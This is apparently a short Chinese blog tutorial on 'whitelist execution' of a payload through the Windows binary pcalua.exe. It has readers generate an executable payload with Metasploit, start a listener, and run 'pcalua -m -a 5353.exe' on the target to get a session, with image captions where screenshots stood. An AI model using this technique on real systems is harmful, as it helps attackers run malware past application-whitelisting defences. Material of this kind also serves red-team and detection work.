简介

Windows进程兼容性助理(Program Compatibility Assistant)的一个组件

已添加环境变量,路径如下:
C:\Windows\System32\pcalua.exe

白名单执行payload之pcalua

实际使用

msf生成exepayload,并进行监听,进入目标机器执行如下:
pcalua -m -a 5353.exe

白名单执行payload之pcalua

确认上线如下:

白名单执行payload之pcalua

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-11-20
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案